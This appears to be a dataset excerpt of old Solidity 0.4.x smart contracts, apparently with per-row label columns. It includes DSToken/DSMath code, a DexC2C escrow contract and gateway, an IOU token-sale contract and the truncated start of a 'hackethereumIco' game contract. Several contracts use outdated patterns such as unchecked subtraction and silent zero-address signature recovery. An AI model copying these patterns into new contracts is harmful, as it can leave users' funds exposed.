require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint256 wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
uint256 wad;
assembly {
foo := calldataload(4)
bar := calldataload(36)
wad := callvalue
}
emit LogNote(msg.sig, msg.sender, foo, bar, wad, msg.data);
_;
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped, "ds-stop-is-stopped");
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract ERC20Events {
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
}
contract ERC20 is ERC20Events {
function totalSupply() public view returns (uint);
function balanceOf(address guy) public view returns (uint);
function allowance(address src, address guy) public view returns (uint);
function approve(address guy, uint wad) public returns (bool);
function transfer(address dst, uint wad) public returns (bool);
function transferFrom(
address src, address dst, uint wad
) public returns (bool);
}
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
constructor(uint supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public view returns (uint) {
return _supply;
}
function balanceOf(address src) public view returns (uint) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
if (src != msg.sender) {
require(_approvals[src][msg.sender] >= wad, "ds-token-insufficient-approval");
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
require(_balances[src] >= wad, "ds-token-insufficient-balance");
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
}
contract DSToken is DSTokenBase(0), DSStop {
bytes32 public symbol;
uint256 public decimals = 18;
constructor(bytes32 symbol_) public {
symbol = symbol_;
}
event Mint(address indexed guy, uint wad);
event Burn(address indexed guy, uint wad);
function approve(address guy) public stoppable returns (bool) {
return super.approve(guy, uint(-1));
}
function approve(address guy, uint wad) public stoppable returns (bool) {
return super.approve(guy, wad);
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
returns (bool)
{
if (src != msg.sender && _approvals[src][msg.sender] != uint(-1)) {
require(_approvals[src][msg.sender] >= wad, "ds-token-insufficient-approval");
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
require(_balances[src] >= wad, "ds-token-insufficient-balance");
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function push(address dst, uint wad) public {
transferFrom(msg.sender, dst, wad);
}
function pull(address src, uint wad) public {
transferFrom(src, msg.sender, wad);
}
function move(address src, address dst, uint wad) public {
transferFrom(src, dst, wad);
}
function mint(uint wad) public {
mint(msg.sender, wad);
}
function burn(uint wad) public {
burn(msg.sender, wad);
}
function mint(address guy, uint wad) public auth stoppable {
_balances[guy] = add(_balances[guy], wad);
_supply = add(_supply, wad);
emit Mint(guy, wad);
}
function burn(address guy, uint wad) public auth stoppable {
if (guy != msg.sender && _approvals[guy][msg.sender] != uint(-1)) {
require(_approvals[guy][msg.sender] >= wad, "ds-token-insufficient-approval");
_approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad);
}
require(_balances[guy] >= wad, "ds-token-insufficient-balance");
_balances[guy] = sub(_balances[guy], wad);
_supply = sub(_supply, wad);
emit Burn(guy, wad);
}
bytes32 public name = "";
function setName(bytes32 name_) public auth {
name = name_;
}
}
contract DSThing is DSAuth, DSNote, DSMath {
function S(string memory s) internal pure returns (bytes4) {
return bytes4(keccak256(abi.encodePacked(s)));
}
}
contract DSValue is DSThing {
bool has;
bytes32 val;
function peek() public view returns (bytes32, bool) {
return (val,has);
}
function read() public view returns (bytes32) {
bytes32 wut; bool haz;
(wut, haz) = peek();
assert(haz);
return wut;
}
function poke(bytes32 wut) public note auth {
val = wut;
has = true;
}
function void() public note auth {
has = false;
}
}
interface EscrowDataInterface
{
function createEscrow(
bytes32 _tradeId,
DSToken _token,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee,
uint32 _paymentWindowInSeconds
) external returns(bool);
function getEscrow(
bytes32 _tradeHash
) external returns(bool, uint32, uint128);
function removeEscrow(
bytes32 _tradeHash
) external returns(bool);
function updateSellerCanCancelAfter(
bytes32 _tradeHash,
uint32 _paymentWindowInSeconds
) external returns(bool);
function increaseTotalGasFeesSpentByRelayer(
bytes32 _tradeHash,
uint128 _increaseGasFees
) external returns(bool);
}
contract DexC2C is DSAuth
{
DSToken constant internal ETH_TOKEN_ADDRESS = DSToken(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
bool public enableMake = true;
EscrowDataInterface escrowData;
address public gateway;
address public arbitrator;
address public relayer;
address public signer;
uint32 public requestCancellationMinimumTime;
uint8 constant ACTION_TYPE_BUYER_PAID = 0x01;
uint8 constant ACTION_TYPE_SELLER_CANCEL = 0x02;
uint8 constant ACTION_TYPE_RELEASE = 0x03;
uint8 constant ACTION_TYPE_RESOLVE = 0x04;
mapping(address => bool) public listTokens;
mapping(address => uint256) feesAvailableForWithdraw;
mapping(address => DSValue) public tokenPriceFeed;
event CreatedEscrow(address indexed _buyer, address indexed _seller, bytes32 indexed _tradeHash, DSToken _token);
event CancelledBySeller(address indexed _buyer, address indexed _seller, bytes32 indexed _tradeHash, DSToken _token);
event BuyerPaid(address indexed _buyer, address indexed _seller, bytes32 indexed _tradeHash, DSToken _token);
event Release(address indexed _buyer, address indexed _seller, bytes32 indexed _tradeHash, DSToken _token);
event DisputeResolved(address indexed _buyer, address indexed _seller, bytes32 indexed _tradeHash, DSToken _token);
struct EscrowParams{
bytes32 tradeId;
DSToken tradeToken;
address buyer;
address seller;
uint256 value;
uint16 fee;
uint32 paymentWindowInSeconds;
uint32 expiry;
uint8 v;
bytes32 r;
bytes32 s;
address caller;
}
struct Escrow{
bytes32 tradeHash;
bool exists;
uint32 sellerCanCancelAfter;
uint128 totalGasFeesSpentByRelayer;
}
modifier onlyGateway(){
require(msg.sender == gateway, "Must be gateway contract");
_;
}
constructor(EscrowDataInterface _escrowData, address _signer) DSAuth() public{
arbitrator = msg.sender;
relayer = msg.sender;
signer = _signer;
escrowData = _escrowData;
listTokens[ETH_TOKEN_ADDRESS] = true;
requestCancellationMinimumTime = 2 hours;
}
function setPriceFeed(DSToken _token, DSValue _priceFeed) public auth{
tokenPriceFeed[_token] = _priceFeed;
}
function setRelayer(address _relayer) public auth {
relayer = _relayer;
}
function setSigner(address _signer) public auth {
signer = _signer;
}
function setArbitrator(address _arbitrator) public auth{
arbitrator = _arbitrator;
}
function setGateway(address _gateway) public auth returns(bool){
gateway = _gateway;
}
function setEscrowData(EscrowDataInterface _escrowData) public auth returns(bool){
escrowData = _escrowData;
}
function setToken(DSToken token, bool enable) public auth returns(bool){
listTokens[token] = enable;
}
function setRequestCancellationMinimumTime(
uint32 _newRequestCancellationMinimumTime
) external auth {
requestCancellationMinimumTime = _newRequestCancellationMinimumTime;
}
function enabled() public view returns(bool) {
return enableMake;
}
function setEnabled(bool _enableMake) public auth{
require(_enableMake != enableMake, "Enabled same value");
enableMake = _enableMake;
}
function getTokenAmount(DSToken _token, uint ethWad) public view returns(uint){
require(tokenPriceFeed[address(_token)] != address(0x00), "the token has not price feed(to eth).");
DSValue feed = tokenPriceFeed[address(_token)];
return wmul(ethWad, uint(feed.read()));
}
function checkCanResolveDispute(
bytes32 _tradeId,
DSToken _token,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee,
uint8 _v,
bytes32 _r,
bytes32 _s,
uint8 _buyerPercent,
address _caller
) private view {
require(_caller == arbitrator, "Must be arbitrator");
bytes32 tradeHash = keccak256(abi.encodePacked(_tradeId, _token, _buyer, _seller, _value, _fee));
bytes32 invitationHash = keccak256(abi.encodePacked(tradeHash, ACTION_TYPE_RESOLVE, _buyerPercent));
address _signature = recoverAddress(invitationHash, _v, _r, _s);
require(_signature == _buyer || _signature == _seller, "Must be buyer or seller");
}
function resolveDispute(
bytes32 _tradeId,
DSToken _token,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee,
uint8 _v,
bytes32 _r,
bytes32 _s,
uint8 _buyerPercent,
address _caller
) external onlyGateway {
checkCanResolveDispute(_tradeId, _token, _buyer, _seller, _value, _fee, _v, _r, _s,_buyerPercent, _caller);
Escrow memory escrow = getEscrow(_tradeId, _token, _buyer, _seller, _value, _fee);
require(escrow.exists, "Escrow does not exists");
require(_buyerPercent <= 100, "BuyerPercent must be 100 or lower");
doResolveDispute(
escrow.tradeHash,
_token,
_buyer,
_seller,
_value,
_buyerPercent,
escrow.totalGasFeesSpentByRelayer
);
}
uint16 constant GAS_doResolveDispute = 36100;
function doResolveDispute(
bytes32 _tradeHash,
DSToken _token,
address _buyer,
address _seller,
uint256 _value,
uint8 _buyerPercent,
uint128 _totalGasFeesSpentByRelayer
) private {
uint256 _totalFees = _totalGasFeesSpentByRelayer;
if(_token == ETH_TOKEN_ADDRESS){
_totalFees += (GAS_doResolveDispute * uint128(tx.gasprice));
} else {
_totalFees += getTokenAmount(_token, GAS_doResolveDispute * uint(tx.gasprice));
}
require(_value - _totalFees <= _value, "Overflow error");
feesAvailableForWithdraw[_token] += _totalFees;
escrowData.removeEscrow(_tradeHash);
emit DisputeResolved(_buyer, _seller, _tradeHash, _token);
if(_token == ETH_TOKEN_ADDRESS){
if (_buyerPercent > 0){
_buyer.transfer((_value - _totalFees) * _buyerPercent / 100);
}
if (_buyerPercent < 100){
_seller.transfer((_value - _totalFees) * (100 - _buyerPercent) / 100);
}
}else{
if (_buyerPercent > 0){
require(_token.transfer(_buyer, (_value - _totalFees) * _buyerPercent / 100));
}
if (_buyerPercent < 100){
require(_token.transfer(_seller, (_value - _totalFees) * (100 - _buyerPercent) / 100));
}
}
}
uint16 constant GAS_relayBaseCost = 35500;
function relay(
bytes32 _tradeId,
DSToken _tradeToken,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee,
uint128 _maxGasPrice,
uint8 _v,
bytes32 _r,
bytes32 _s,
uint8 _actionType,
address _caller
) public onlyGateway returns (bool) {
address _relayedSender = getRelayedSender(_tradeId, _actionType, _maxGasPrice, _v, _r, _s);
uint128 _additionalGas = uint128(_caller == relayer ? GAS_relayBaseCost : 0);
if(_relayedSender == _buyer){
if(_actionType == ACTION_TYPE_BUYER_PAID){
return doBuyerPaid(_tradeId, _tradeToken, _buyer, _seller, _value, _fee, _caller, _additionalGas);
}
}else if(_relayedSender == _seller) {
if(_actionType == ACTION_TYPE_SELLER_CANCEL){
return doSellerCancel(_tradeId, _tradeToken, _buyer, _seller, _value, _fee, _caller, _additionalGas);
}else if(_actionType == ACTION_TYPE_RELEASE){
return doRelease(_tradeId, _tradeToken, _buyer, _seller, _value, _fee, _caller, _additionalGas);
}
}else{
require(_relayedSender == _seller, "Unrecognised party");
return false;
}
}
function createEscrow(
bytes32 _tradeId,
DSToken _tradeToken,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee,
uint32 _paymentWindowInSeconds,
uint32 _expiry,
uint8 _v,
bytes32 _r,
bytes32 _s,
address _caller
) external payable onlyGateway returns (bool){
EscrowParams memory params;
params.tradeId = _tradeId;
params.tradeToken = _tradeToken;
params.buyer = _buyer;
params.seller = _seller;
params.value = _value;
params.fee = _fee;
params.paymentWindowInSeconds = _paymentWindowInSeconds;
params.expiry = _expiry;
params.v = _v;
params.r = _r;
params.s = _s;
params.caller = _caller;
return doCreateEscrow(params);
}
function doCreateEscrow(
EscrowParams params
) internal returns (bool) {
require(enableMake, "DESC2C is not enable");
require(listTokens[params.tradeToken], "Token is not allowed");
bytes32 _tradeHash = keccak256(
abi.encodePacked(params.tradeId, params.tradeToken, params.buyer, params.seller, params.value, params.fee));
bytes32 _invitationHash = keccak256(abi.encodePacked(_tradeHash, params.paymentWindowInSeconds, params.expiry));
require(recoverAddress(_invitationHash, params.v, params.r, params.s) == signer, "Must be signer");
require(block.timestamp < params.expiry, "Signature has expired");
emit CreatedEscrow(params.buyer, params.seller, _tradeHash, params.tradeToken);
return escrowData.createEscrow(params.tradeId, params.tradeToken, params.buyer, params.seller, params.value,
params.fee, params.paymentWindowInSeconds);
}
function buyerPaid(
bytes32 _tradeId,
DSToken _token,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee,
address _caller
) external onlyGateway returns(bool) {
require(_caller == _buyer, "Must by buyer");
return doBuyerPaid(_tradeId, _token, _buyer, _seller, _value, _fee, _caller, 0);
}
function release(
bytes32 _tradeId,
DSToken _token,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee,
address _caller
) external onlyGateway returns(bool){
require(_caller == _seller, "Must by seller");
doRelease(_tradeId, _token, _buyer, _seller, _value, _fee, _caller, 0);
}
uint16 constant GAS_doRelease = 46588;
function doRelease(
bytes32 _tradeId,
DSToken _token,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee,
address _caller,
uint128 _additionalGas
) internal returns(bool){
Escrow memory escrow = getEscrow(_tradeId, _token, _buyer, _seller, _value, _fee);
require(escrow.exists, "Escrow does not exists");
uint128 _gasFees = escrow.totalGasFeesSpentByRelayer;
if(_caller == relayer){
if(_token == ETH_TOKEN_ADDRESS){
_gasFees += (GAS_doRelease + _additionalGas) * uint128(tx.gasprice);
}else{
uint256 relayGas = (GAS_doRelease + _additionalGas) * tx.gasprice;
_gasFees += uint128(getTokenAmount(_token, relayGas));
}
}else{
require(_caller == _seller, "Must by seller");
}
escrowData.removeEscrow(escrow.tradeHash);
transferMinusFees(_token, _buyer, _value, _gasFees, _fee);
emit Release(_buyer, _seller, escrow.tradeHash, _token);
return true;
}
uint16 constant GAS_doBuyerPaid = 35944;
function doBuyerPaid(
bytes32 _tradeId,
DSToken _token,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee,
address _caller,
uint128 _additionalGas
) internal returns(bool){
Escrow memory escrow = getEscrow(_tradeId, _token, _buyer, _seller, _value, _fee);
require(escrow.exists, "Escrow not exists");
if(_caller == relayer){
if(_token == ETH_TOKEN_ADDRESS){
require(escrowData.increaseTotalGasFeesSpentByRelayer(escrow.tradeHash, (GAS_doBuyerPaid + _additionalGas) * uint128(tx.gasprice)));
}else{
uint256 relayGas = (GAS_doBuyerPaid + _additionalGas) * tx.gasprice;
require(escrowData.increaseTotalGasFeesSpentByRelayer(escrow.tradeHash, uint128(getTokenAmount(_token, relayGas))));
}
}else{
require(_caller == _buyer, "Must be buyer");
}
require(escrowData.updateSellerCanCancelAfter(escrow.tradeHash, requestCancellationMinimumTime));
emit BuyerPaid(_buyer, _seller, escrow.tradeHash, _token);
return true;
}
function sellerCancel(
bytes32 _tradeId,
DSToken _token,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee,
uint32 _expiry,
uint8 _v,
bytes32 _r,
bytes32 _s,
address _caller
) external onlyGateway returns (bool){
require(_caller == _seller, "Must be seller");
bytes32 tradeHash = keccak256(abi.encodePacked(_tradeId, _token, _buyer, _seller, _value, _fee));
bytes32 invitationHash = keccak256(abi.encodePacked(tradeHash, ACTION_TYPE_SELLER_CANCEL, _expiry));
require(recoverAddress(invitationHash, _v, _r, _s) == signer, "Must be signer");
return doSellerCancel(_tradeId, _token, _buyer, _seller, _value, _fee, _caller, 0);
}
uint16 constant GAS_doSellerCancel = 46255;
function doSellerCancel(
bytes32 _tradeId,
DSToken _token,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee,
address _caller,
uint128 _additionalGas
) private returns (bool) {
Escrow memory escrow = getEscrow(_tradeId, _token, _buyer, _seller, _value, _fee);
require(escrow.exists, "Escrow does not exists");
if(block.timestamp < escrow.sellerCanCancelAfter){
return false;
}
uint128 _gasFees = escrow.totalGasFeesSpentByRelayer;
if(_caller == relayer){
if(_token == ETH_TOKEN_ADDRESS){
_gasFees += (GAS_doSellerCancel + _additionalGas) * uint128(tx.gasprice);
}else{
uint256 relayGas = (GAS_doSellerCancel + _additionalGas) * tx.gasprice;
_gasFees += uint128(getTokenAmount(_token, relayGas));
}
}else{
require(_caller == _seller, "Must be buyer");
}
escrowData.removeEscrow(escrow.tradeHash);
emit CancelledBySeller(_buyer, _seller, escrow.tradeHash, _token);
transferMinusFees(_token, _seller, _value, _gasFees, 0);
return true;
}
function transferMinusFees(
DSToken _token,
address _to,
uint256 _value,
uint128 _totalGasFeesSpentByRelayer,
uint16 _fee
) private {
uint256 _totalFees = (_value * _fee / 10000);
_totalFees += _totalGasFeesSpentByRelayer;
if(_value - _totalFees > _value) {
return;
}
feesAvailableForWithdraw[_token] += _totalFees;
if(_token == ETH_TOKEN_ADDRESS){
_to.transfer(_value - _totalFees);
}else{
require(_token.transfer(_to, _value - _totalFees));
}
}
function getFeesAvailableForWithdraw(
DSToken _token
) public view auth returns(uint256){
return feesAvailableForWithdraw[_token];
}
function withdraw(DSToken _token, uint _amnt, address _receiver) external auth returns(bool){
require(feesAvailableForWithdraw[_token] > 0, "Fees is 0 or token not exists");
require(_amnt <= feesAvailableForWithdraw[_token], "Amount is higher than amount available");
if(_token == ETH_TOKEN_ADDRESS){
_receiver.transfer(_amnt);
}else{
require(_token.transfer(_receiver, _amnt), "Withdraw failed");
}
return true;
}
function getEscrow(
bytes32 _tradeId,
DSToken _token,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee
) private returns(Escrow){
bytes32 _tradeHash = keccak256(abi.encodePacked(_tradeId, _token, _buyer, _seller, _value, _fee));
bool exists;
uint32 sellerCanCancelAfter;
uint128 totalFeesSpentByRelayer;
(exists, sellerCanCancelAfter, totalFeesSpentByRelayer) = escrowData.getEscrow(_tradeHash);
return Escrow(_tradeHash, exists, sellerCanCancelAfter, totalFeesSpentByRelayer);
}
function () public payable{
}
function recoverAddress(
bytes32 _h,
uint8 _v,
bytes32 _r,
bytes32 _s
) internal pure returns (address){
bytes memory _prefix = "\x19Ethereum Signed Message:\n32";
bytes32 _prefixedHash = keccak256(abi.encodePacked(_prefix, _h));
return ecrecover(_prefixedHash, _v, _r, _s);
}
function getRelayedSender(
bytes32 _tradeId,
uint8 _actionType,
uint128 _maxGasPrice,
uint8 _v,
bytes32 _r,
bytes32 _s
) internal view returns(address){
bytes32 _hash = keccak256(abi.encodePacked(_tradeId, _actionType, _maxGasPrice));
if(tx.gasprice > _maxGasPrice){
return;
}
return recoverAddress(_hash, _v, _r, _s);
}
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
uint constant WAD = 10 ** 18;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
}
contract DexC2CGateway is DSAuth{
DSToken constant internal ETH_TOKEN_ADDRESS = DSToken(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
DexC2C dexc2c;
event ResetDexC2C(address curr, address old);
struct BatchRelayParams{
bytes32[] _tradeId;
DSToken[] _token;
address[] _buyer;
address[] _seller;
uint256[] _value;
uint16[] _fee;
uint128[] _maxGasPrice;
uint8[] _v;
bytes32[] _r;
bytes32[] _s;
uint8[] _actionType;
}
constructor() DSAuth() public{
}
function setDexC2C(DexC2C _dexc2c) public auth{
require(_dexc2c != address(0x00), "DexC2C is null");
dexc2c = _dexc2c;
emit ResetDexC2C(_dexc2c, dexc2c);
}
function resolveDispute(
bytes32 _tradeId,
DSToken _token,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee,
uint8 _v,
bytes32 _r,
bytes32 _s,
uint8 _buyerPercent
) public{
dexc2c.resolveDispute(_tradeId, _token, _buyer, _seller, _value, _fee, _v, _r, _s, _buyerPercent, msg.sender);
}
function relay(
bytes32 _tradeId,
DSToken _token,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee,
uint128 _maxGasPrice,
uint8 _v,
bytes32 _r,
bytes32 _s,
uint8 _actionType
) public returns(bool){
return dexc2c.relay(_tradeId, _token, _buyer, _seller, _value, _fee, _maxGasPrice, _v, _r, _s, _actionType, msg.sender);
}
function createEscrow(
bytes32 _tradeId,
DSToken _tradeToken,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee,
uint32 _paymentWindowInSeconds,
uint32 _expiry,
uint8 _v,
bytes32 _r,
bytes32 _s
) public payable returns(bool) {
if(_tradeToken == ETH_TOKEN_ADDRESS){
require(msg.value == _value && msg.value > 0, "Incorrect token sent");
}else{
require(_tradeToken.transferFrom(_seller, dexc2c, _value), "Can not transfer token from seller");
}
return doCreateEscrow(_tradeId, _tradeToken, _buyer, _seller, _value, _fee, _paymentWindowInSeconds, _expiry, _v, _r, _s, msg.sender);
}
function sellerCancel(
bytes32 _tradeId,
DSToken _tradeToken,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee,
uint32 _expiry,
uint8 _v,
bytes32 _r,
bytes32 _s
) public returns(bool){
return dexc2c.sellerCancel(_tradeId, _tradeToken, _buyer, _seller, _value, _fee, _expiry, _v, _r, _s, msg.sender);
}
function buyerPaid(
bytes32 _tradeId,
DSToken _tradeToken,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee
)public returns(bool){
return dexc2c.buyerPaid(_tradeId, _tradeToken, _buyer, _seller, _value, _fee, msg.sender);
}
function release(
bytes32 _tradeId,
DSToken _tradeToken,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee
)public returns(bool){
return dexc2c.release(_tradeId, _tradeToken, _buyer, _seller, _value, _fee, msg.sender);
}
function doCreateEscrow(
bytes32 _tradeId,
DSToken _tradeToken,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee,
uint32 _paymentWindowInSeconds,
uint32 _expiry,
uint8 _v,
bytes32 _r,
bytes32 _s,
address _caller
) internal returns(bool){
return dexc2c.createEscrow.value(msg.value)(
_tradeId,
_tradeToken,
_buyer,
_seller,
_value,
_fee,
_paymentWindowInSeconds,
_expiry,
_v,
_r,
_s,
_caller
);
}
function recoverAddress(
bytes32 _h,
uint8 _v,
bytes32 _r,
bytes32 _s
) internal pure returns (address){
return ecrecover(_h, _v, _r, _s);
}
function getRelayedSender(
bytes32 _tradeId,
uint8 _actionType,
uint128 _maxGasPrice,
uint8 _v,
bytes32 _r,
bytes32 _s
) internal view returns(address){
bytes32 _hash = keccak256(abi.encodePacked(_tradeId, _actionType, _maxGasPrice));
if(tx.gasprice > _maxGasPrice){
return;
}
return recoverAddress(_hash, _v, _r, _s);
}
} | 0 | 745 |
pragma solidity ^0.4.11;
contract MetalToken {
uint public totalSupply;
function transfer(address _to, uint256 _value);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract IOU {
mapping (address => uint256) public iou_purchased;
mapping (address => uint256) public eth_sent;
uint256 public total_iou_available = 1270000000000;
uint256 public total_iou_purchased;
uint256 public total_iou_withdrawn;
uint256 public price_in_wei = 60000000000000000;
MetalToken public token = MetalToken(0xF433089366899D83a9f26A773D59ec7eCF30355e);
address seller = 0xB00Ae1e677B27Eee9955d632FF07a8590210B366;
bool public halt_purchases;
modifier pwner() { if(msg.sender != seller) throw; _; }
function withdrawTokens() pwner {
token.transfer(seller, token.balanceOf(address(this)) - (total_iou_purchased - total_iou_withdrawn));
}
function haltPurchases() pwner {
halt_purchases = true;
}
function resumePurchases() pwner {
halt_purchases = false;
}
function updateAvailability(uint256 _iou_amount) pwner {
if(_iou_amount < total_iou_purchased) throw;
total_iou_available = _iou_amount;
}
function updatePrice(uint256 _price) pwner {
price_in_wei = _price;
}
function paySeller() pwner {
if(token.balanceOf(address(this)) < (total_iou_purchased - total_iou_withdrawn)) throw;
halt_purchases = true;
seller.transfer(this.balance);
}
function withdraw() payable {
if(block.number > 4199999 && iou_purchased[msg.sender] > token.balanceOf(address(this))) {
uint256 eth_to_refund = eth_sent[msg.sender];
if(eth_to_refund == 0 || iou_purchased[msg.sender] == 0) throw;
total_iou_purchased -= iou_purchased[msg.sender];
eth_sent[msg.sender] = 0;
iou_purchased[msg.sender] = 0;
msg.sender.transfer(eth_to_refund);
return;
}
if(token.balanceOf(address(this)) == 0 || iou_purchased[msg.sender] > token.balanceOf(address(this))) throw;
uint256 iou_to_withdraw = iou_purchased[msg.sender];
if(iou_to_withdraw == 0) throw;
iou_purchased[msg.sender] = 0;
eth_sent[msg.sender] = 0;
total_iou_withdrawn += iou_to_withdraw;
token.transfer(msg.sender, iou_to_withdraw);
}
function purchase() payable {
if(halt_purchases) throw;
if(msg.value == 0) throw;
uint256 iou_to_purchase = (msg.value * 10**8) / price_in_wei;
if((total_iou_purchased + iou_to_purchase) > total_iou_available) throw;
iou_purchased[msg.sender] += iou_to_purchase;
eth_sent[msg.sender] += msg.value;
total_iou_purchased += iou_to_purchase;
}
function () payable {
if(msg.value == 0) {
withdraw();
}
else {
purchase();
}
}
} | 0 | 1,939 |
pragma solidity ^0.4.13;
contract ERC20 {
function totalSupply() constant returns (uint totalSupply);
function balanceOf(address _owner) constant returns (uint balance);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract owned {
address public _owner;
function owned() {
_owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == _owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
_owner = newOwner;
}
}
contract mortal is owned {
function mortal() {
}
function kill() onlyOwner {
selfdestruct(_owner);
}
}
contract hackethereumIco is mortal {
uint256 public _amountRaised;
uint256 public _deadline;
uint256 private _timeBetweenWithdrawCalls;
uint256 private _timeBetweenControlFlipCalls;
uint256 private _priceIncrease1;
uint256 private _priceIncrease2;
bool private _hackedTenuous;
bool private _hackedEducated;
bool private _hackedAdept;
bool private _whitehatActive;
bool private _initialised;
address private _beneficiary;
address private _hackerTenuous;
address private _hackerEducated;
address private _hackerAdept;
address private _hackerDecisive;
address private _whitehat;
uint256 private _lastHack;
uint256 private _lastWhitehat;
uint256 private _lastControlFlip;
uint256 private _initialPrice;
uint256 private constant _participationThreshold = 50000000000000000;
uint256 private constant _participationMax = 500000000000000000;
uint256 private constant _hackTokenThreshold = 10000000000000000;
hackoin public _hackoinToken;
hackoin public _tenuousToken;
hackoin public _educatedToken;
hackoin public _adeptToken;
mapping(address => uint256) private _balanceOf;
event FundTransfer(address indexed backer, string indexed transferType, uint256 amount);
function hackethereumIco(
address ifSuccessfulSendTo,
address hackerTenuousAddress,
address hackerEducatedAddress,
address hackerAdeptAddress,
address hackerDecisiveAddress,
address whitehatAddress
) {
_beneficiary = ifSuccessfulSendTo;
_hackerTenuous = hackerTenuousAddress;
_hackerEducated = hackerEducatedAddress;
_hackerAdept = hackerAdeptAddress;
_hackerDecisive = hackerDecisiveAddress;
_whitehat = whitehatAddress;
_initialised = false;
}
function initialise() onlyOwner {
require(!_initialised);
_deadline = 1504301337;
_timeBetweenWithdrawCalls = 30 minutes;
_timeBetweenControlFlipCalls = 300 minutes;
_priceIncrease2 = _deadline - 4 days;
_priceIncrease1 = _priceIncrease2 - 6 days;
_lastHack = now;
_lastWhitehat = now;
_lastControlFlip = now;
_initialPrice = 1;
address tokenContractAddress = new hackoin("Hackoin", "HK");
_hackoinToken = hackoin(tokenContractAddress);
address tenuousTokenContractAddress = new hackoin("Hackoin_Tenuous", "HKT");
address educatedTokenContractAddress = new hackoin("Hackoin_Educated", "HKE");
address adeptTokenContractAddress = new hackoin("Hackoin_Adept", "HKA");
_tenuousToken = hackoin(tenuousTokenContractAddress);
_educatedToken = hackoin(educatedTokenContractAddress);
_adeptToken = hackoin(adeptTokenContractAddress);
_hackoinToken.mintToken(msg.sender, _participationMax*2);
_tenuousToken.mintToken(msg.sender, _hackTokenThreshold*2);
_educatedToken.mintToken(msg.sender, _hackTokenThreshold*2);
_adeptToken.mintToken(msg.sender, _hackTokenThreshold*2);
_initialised = true;
}
function adjustTiming(uint256 timeBetweenWithdrawMinutes, uint256 timeBetweenFlipMinutes) onlyOwner {
_timeBetweenWithdrawCalls = timeBetweenWithdrawMinutes * 1 minutes;
_timeBetweenControlFlipCalls = timeBetweenFlipMinutes * 1 minutes;
}
function () payable {
require(now < _deadline);
uint256 amount = msg.value;
